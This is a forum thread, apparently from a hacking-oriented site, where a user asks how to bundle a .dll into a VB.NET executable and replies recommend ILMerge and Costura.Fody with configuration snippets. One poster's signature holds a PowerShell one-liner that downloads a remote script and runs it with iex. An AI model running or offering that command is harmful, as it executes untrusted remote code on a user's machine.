Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Embed .dll To .exe

just finished a program and I would like to make it just one file so its easy to hand out and not have extra files just laying around. I made a program using a framework that needs a .dll to be in the same location as the .exe. Could someone help on how i can embed it to make it just 1 file?


I tried to use the (Package Manager Console) with "install-package costura.fody"
and that didn't seam to work then i tried (ilmerge) and that wasn't working also.

i was told about trying "LibZ" but have no clue on how to even use it

Made with: vb.NET

[Image: 4219b379026863e30822f9e8715d7061.jpg]
Use ILMerge, here's the project website https://github.com/dotnet/ILMerge
For a GUI version search ILMergeGUI
[Image: Syr3DlV.png]
(Oct 30, 2018 06:14 PM)gigajew Wrote:  Use ILMerge

" i tried (ilmerge) and that wasn't working also."
i already tried that and it was not working
Use NuGet to install a package called Costura.Fody.
Setting it is on their git.
🤝
Accepting freelancing jobs ! PM me for more info !
Be the [BRAND NAME REMOVED] king ..
(Oct 31, 2018 12:19 AM)0xBB Wrote:  Use NuGet to install a package called Costura.Fody.
Setting it is on their git.
🤝

I already have tried all that it’s even said in the post.
Nothing works
(Oct 31, 2018 03:14 AM)L33TPr0xY Wrote:  I already have tried all that it’s even said in the post.
Nothing works

What do you mean by "nothing works"? It should work, I'm using it as well. What's the problem exactly?
[Image: B37mjKj.png]
Why all those working suggestion doesn't work with you? What are you doing with them?
[Image: signaturetwo.png]
(Oct 31, 2018 03:14 AM)L33TPr0xY Wrote:  I already have tried all that it’s even said in the post.
Nothing works

Did you properly setup the configuration file for Fody in the project? You have to specify each assembly you want embedded into to main assembly.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
VisualPlus libraries are strong signing.....  does costura take care about this while trying to merge...???
Check if your project file contains something like this (.vbproj):
Code
<Import Project="..\packages\Costura.Fody.3.1.4\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.3.1.4\build\Costura.Fody.props')" />

AND you have a file named FodyWeavers.xml in your project folder (the one that contains the bin, Resources, Properties etc folders), that contains the following lines:
Code
<?xml version="1.0" encoding="utf-8" ?>
<Weavers>
 <Costura/>
</Weavers>


And post your Build window, we can help more if we can see more than "it doesn't work".
[Image: B37mjKj.png]
(Oct 30, 2018 05:20 PM)L33TPr0xY Wrote:  just finished a program and I would like to make it just one file so its easy to hand out and not have extra files just laying around. I made a program using a framework that needs a .dll to be in the same location as the .exe. Could someone help on how i can embed it to make it just 1 file?


I tried to use the (Package Manager Console) with "install-package costura.fody"
and that didn't seam to work then i tried (ilmerge) and that wasn't working also.

i was told about trying "LibZ" but have no clue on how to even use it

Made with: vb.NET

Can you pm your program im interested in it.
use Costura.Fody from nugget :D


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by Lithium MindJun 20, 2022 09:03 AM 0 158 Jun 20, 2022 09:03 AM
Last Post: Lithium Mind
[.NET] by lans.007Apr 10, 2021 12:43 PM 5 264 Apr 10, 2021 12:43 PM
Last Post: Exploit-Tool
[C] by SecurifierJan 17, 2020 07:20 AM 12 415 Jan 17, 2020 07:20 AM
Last Post: SIM-3602340